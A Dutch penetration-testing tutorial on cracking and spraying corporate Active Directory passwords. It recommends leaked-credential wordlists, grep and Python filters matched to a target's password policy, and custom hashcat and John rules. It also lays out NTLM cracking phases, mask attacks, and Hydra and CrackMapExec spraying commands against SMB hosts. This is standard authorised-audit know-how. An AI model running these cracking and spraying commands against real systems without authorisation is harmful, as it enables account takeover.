Als je cracking workflow begint en eindigt met rockyou.txt, is dit artikel voor jou. Die lijst komt uit een breach uit 2009 van een social gaming-site. De gebruikers hadden nul wachtwoordvereisten. Je auditeert waarschijnlijk geen social gaming-site uit 2009.
Laten we het hebben over wat wel werkt.
Waarom rockyou.txt Faalt op Corporate Targets
rockyou.txt is een consumentenlijst. Geen complexiteitsregels, geen lockout-beleid, geen IT-afdeling die over iemands schouder meekijkt. Wachtwoorden als jessica, iloveyou, 123456. Schattig.
In een Active Directory-omgeving met een echt wachtwoordbeleid? Die lijst is grotendeels ruis.
Het ignis-sec PWDB-project analyseerde 1 miljard gelekte credentials en de statistieken zijn niet mals voor rockyou-enthousiastelingen:
- Top 1.000 wachtwoorden dekken slechts 6,6% van de accounts
- Top 1 miljoen haalt 36,28%
- Top 10 miljoen bereikt 54%
- Gemiddelde wachtwoordlengte: 9,48 tekens
- Slechts 7,08% van de wachtwoorden heeft speciale tekens
- 15% bestaat puur uit kleine letters
En de klapper: van de 14,3 miljoen meest voorkomende PWDB-wachtwoorden zit 11,5 miljoen niet in rockyou.txt. Een misscore van 80%. Even laten bezinken.
Het bestand occurrence.100K.txt in de ignis-sec-repo maakt dit nog duidelijker. Wachtwoordpopulariteit keldert na de eerste paar duizend. Lijstkwaliteit wint het altijd van lijstgrootte.
Wat Gebruikers Echt Doen Onder een Wachtwoordbeleid
Een typisch corporate beleid ziet er zo uit:
- Minimaal 8 tekens
- Een hoofdletter
- Een cijfer
- Geen woordenboekwoorden (wordt altijd genegeerd)
- Laatste 10 wachtwoorden niet hergebruiken
Dus wat doen mensen? Ze pakken een woord dat ze kennen, zetten een hoofdletter vooraan, en plakken er een cijfer of ! achteraan. Elke keer weer.
woord -> Woord1
woord -> Woord123
woord -> Woord!
woord -> Woord2024
woord -> W0ord1!
De basiswoorden zijn seizoenen, maanden, sportclubs, bedrijfsnamen, namen van kinderen of huisdieren. Spul dat al in je wordlist zit. De getransformeerde versies niet. Dat is de kloof. Rules engines bestaan om die kloof te dichten.
Wordlists Die Echt de Moeite Waard Zijn
Voor Hash Cracking
ignis-10M.txt (ignis-sec/Pwdb-Public)
Frequentiegesorteerd vanuit 1 miljard echte credentials. Veel betere moderne dekking dan rockyou. De 10M-versie is de sweet spot: groot genoeg om te tellen, klein genoeg om snel met rules te draaien.
Kaonashi (\~2,35 GB)
Gepresenteerd op RootedCON 2019. Geleverd met een eigen kaonashi.rule afgestemd op de tekendistributie van de lijst. Erg sterk voor NTLM/NTLMv2 bij interne engagements.
CrackStation (\~4,2 GB) Groot en traag. Inzetten als de andere lijsten hebben gefaald en het target de GPU-tijd waard is.
SecLists Passwords/-subtree
danielmiessler/SecLists is de toolkit die nooit oud wordt. De mappen Common-Credentials/ en Leaked-Databases/ zijn goed onderhouden. De map Default-Credentials/ sloopt nog steeds regelmatig netwerkapparatuur.
Taalspecifieke lijsten
Als de engagement in Nederland, Duitsland, Frankrijk of ergens anders niet-Engelstalig plaatsvindt: gebruik een lokale lijst. dutch.txt presteert beter dan rockyou.txt op een Nederlandse AD-omgeving en is een fractie van de grootte.
Voor Spraying (Hydra / CME / GoSpray)
Spraying betekent werken binnen lockout-limieten, meestal 3-5 pogingen per venster. Grote lijsten zijn hier nutteloos.
Bouw een spray-lijst van maximaal 50-200 entries op basis van:
- Seizoen + jaar:
Winter2024,Lente2025 - Bedrijfsnaam + getal:
Bedrijf1!,BedrijfNL2024 - Klassieke IT-onboarding favorieten:
Welkom01,Welkom1!,WelkomTerug1! - Maand + jaar:
Januari2024,Jan2024! - De eigen product- of merknamen van het doelwit
Niets hiervan staat in een publieke lijst. Je bouwt ze op uit OSINT. CUPP kan de generatie automatiseren zodra je de basisinformatie hebt verzameld.
Lijsten Pre-filteren op het Beleid
Filter je basislijst eerst terug tot kandidaten die het wachtwoordbeleid van het doelwit al overleven. Kleinere lijst, minder verspilde tijd.
Snelle grep-filters
# Hoofdletter aan het begin, eindigt op ! of cijfer, 8+ tekens
grep -E '^[A-Z].{6,}[!@#$0-9]$' ignis-10M.txt > corporate-filtered.txt
# Hoofdletter eerst, kleine letters in de body, cijfer aan het einde
grep -E '^[A-Z][a-z]{5,}[0-9]+$' ignis-10M.txt > cap-lower-digit.txt
# Gangbare corporate suffixen
grep -E '^[A-Z][a-z]+(1|1!|123|2024|2025|!)$' ignis-10M.txt > likely-corporate.txt
Python voor meer controle
import re
policy = re.compile(r'^(?=.*[A-Z])(?=.*[a-z])(?=.*\d).{8,}$')
with open('ignis-10M.txt') as f_in, open('policy-compliant.txt', 'w') as f_out:
for line in f_in:
pw = line.strip()
if policy.match(pw):
f_out.write(pw + '\n')
Uit een lijst van 10M krijg je typisch 200K-500K policy-conforme kandidaten. Dat wil je door je rules halen, niet 10 miljoen entries die toch niets kraken.
Rules: Het Onderdeel Dat Iedereen Overslaat
Houd je basiswordlists in gewone kleine letters. Laat de rules engine de transformaties doen tijdens het draaien. Een miljoen basiswoorden plus een goede ruleset genereert miljarden kandidaten zonder ze op te slaan.
Hashcat rule basics
| Rule | Wat het doet | Voorbeeld |
|---|---|---|
c | Eerste letter als hoofdletter | wachtwoord -> Wachtwoord |
u | Alles hoofdletters | wachtwoord -> WACHTWOORD |
l | Alles kleine letters | WACHTWOORD -> wachtwoord |
$X | X toevoegen aan het einde | wachtwoord -> wachtwoord! |
^X | X toevoegen aan het begin | wachtwoord -> !wachtwoord |
sXY | X vervangen door Y | wachtwoord -> w@chtwoord |
r | Omdraaien | wachtwoord -> droowthcaw |
Elke regel in een rules-bestand = één transformatie toegepast op elk woord. Meerdere commando's op één regel worden in volgorde uitgevoerd.
Een praktisch corporate rules-bestand:
# corporate.rule
# Geen wijziging (baseline)
:
# Hoofdletter + cijfer
c $1
c $2
c $1 $2 $3
# Hoofdletter + jaar
c $2 $0 $2 $4
c $2 $0 $2 $5
# Hoofdletter + !
c $!
c $! $1
c $1 $!
# Leet-substitutes
c so0
c sa@
c se3
c si1
# Leet + !
c so0 sa@ $!
c si1 se3 $!
# Jaar + ! (heel gangbaar in AD)
c $1 $2 $3 $!
c $2 $0 $2 $3 $!
c $2 $0 $2 $4 $!
Uitvoeren:
hashcat -m 1000 hashes.ntlm wordlist.txt -r corporate.rule -O
Ingebouwde rulesets die het waard zijn:
best64.rule- begin hier\, altijdOneRuleToRuleThemAll.rule- grondig maar traag\, goed voor nachtelijke runsd3adhob0.rule- afgestemd op corporate AD-patronenInsidePro-PasswordsPro.rule- brede substitutiedekkingtoggles5.rule- systematische hoofdletterpermutaties
Meerdere rules in één run stapelen:
hashcat -m 1000 hashes.ntlm wordlist.txt \
-r best64.rule \
-r corporate.rule \
-O --status
John the Ripper
Rules gaan in john.conf onder een benoemde sectie:
[List.Rules:Corporate]
:
c
c Az"[0-9]"
c Az"2024"
c Az"2025"
c Az"!"
c Az"1!"
c Az"123!"
so0 c
sa@ c
c so0 $! $1
Uitvoeren:
john --wordlist=wordlist.txt --rules=Corporate hashes.txt
Controleer wat je rules produceren voordat je GPU-uren verbrand:
john --wordlist=wordlist.txt --rules=Corporate --stdout | head -100
Serieus ondergewaardeerde stap. Doe dit altijd.
Een spray-lijst bouwen vanuit rules
Voor Hydra/CME heb je een statische lijst nodig. Genereer die eerst:
# Via hashcat
hashcat -m 1000 /dev/null wordlist.txt -r corporate.rule --stdout > spray-kandidaten.txt
# Via John
john --wordlist=wordlist.txt --rules=Corporate --stdout > spray-kandidaten.txt
# Sorteren, dedupliceren, trimmen
sort -u spray-kandidaten.txt | head -100 > final-spray.txt
# Sprayen via Hydra
hydra -L gebruikers.txt -P final-spray.txt smb://10.10.10.1
# Of CME (beter voor AD, snapt de lockout-logica)
crackmapexec smb 10.10.10.0/24 -u gebruikers.txt -p final-spray.txt --continue-on-success
Controleer het lockout-beleid voordat je spraayt. net accounts /domain of haal het op via BloodHound. Één wachtwoord over alle gebruikers, wacht het venster uit, ga door. De vlag --continue-on-success van CME zorgt dat valide credentials niet verloren gaan in de output.
De Cracking Workflow
Hashes binnengehaald van een DC of via een Responder-capture? Doorloop deze fasen op volgorde.
Fase 1 - Snelle winst (minuten)
hashcat -m 1000 hashes.txt ignis-10M.txt -O --status
Fase 2 - Corporate transformaties (uren)
hashcat -m 1000 hashes.txt ignis-10M.txt -r best64.rule -O
hashcat -m 1000 hashes.txt ignis-10M.txt -r corporate.rule -O
Fase 3 - Grotere lijsten, gerichte rules (nacht)
hashcat -m 1000 hashes.txt kaonashi.txt -r kaonashi.rule -O
hashcat -m 1000 hashes.txt crackstation.txt -r best64.rule -O
Fase 4 - Mask attacks voor bekende beleidsvormen (weekend)
# Hoofdletter + 6 kleine letters + 2 cijfers
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?l?l?d?d
# Hoofdletter + kleine letters + speciaal teken + cijfer
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?l?l?d?s
Het Punt
Wachtwoorden kraken is een woordenschatprobleem, geen rekenprobleem. Mensen verzinnen geen wachtwoorden. Ze pakken een woord en buigen het naar het beleid. Jouw taak is dat buigen te modelleren.
Goede basislijst plus slimme rules verslaat een grote statische wordlist elke keer.